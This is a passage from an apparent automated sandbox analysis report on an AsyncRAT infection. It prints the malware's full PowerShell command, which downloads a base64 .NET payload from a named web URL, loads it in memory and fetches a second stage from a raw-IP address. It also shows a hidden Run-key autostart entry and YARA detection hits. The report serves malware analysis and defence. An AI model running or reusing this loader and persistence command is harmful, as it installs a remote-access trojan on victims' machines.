'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\AppData\Local\Temp\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FF848D400BD pushad ; iretd	1_2_00007FF848D400C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF848D82375 pushad ; retf	4_2_00007FF848D82399
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF848D625ED push eax; retf	6_2_00007FF848D62606
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF848D500BD pushad ; iretd	9_2_00007FF848D500C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF848D50A98 pushad ; ret	9_2_00007FF848D50AE2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00007FF848D50A98 pushad ; ret	19_2_00007FF848D50AE2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00007FF848D54204 pushad ; ret	19_2_00007FF848D5422D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00007FF848D500BD pushad ; iretd	19_2_00007FF848D500C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_00007FF848D46236 push eax; ret	21_2_00007FF848D4623B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_00007FF848D46329 push ecx; ret	21_2_00007FF848D4632C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_00007FF848D400BD pushad ; iretd	21_2_00007FF848D400C1

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: 26.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.240c11b51a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.powershell.exe.1c03cb43b98.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.155c41c7c80.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.powershell.exe.1c03cb40780.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.powershell.exe.1c03cb43b98.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.155c41c7c80.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.155c41c4868.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.240c11b1d88.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.240c11b51a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.2417662894.00000240C11A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2090885360.00000155C41C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2331186217.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2793866781.000001C03CB30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7896, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR

Creates autostart registry keys with suspicious names

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run _______________________-------------

Jump to behavior

Creates autostart registry keys with suspicious values (likely registry only malware)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run _______________________------------- Powershell.exe -WindowStyle hidden "& 'C:\Users\user\AppData\Local\Temp\xx2.vbs' "

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run _______________________-------------			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run _______________________-------------			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
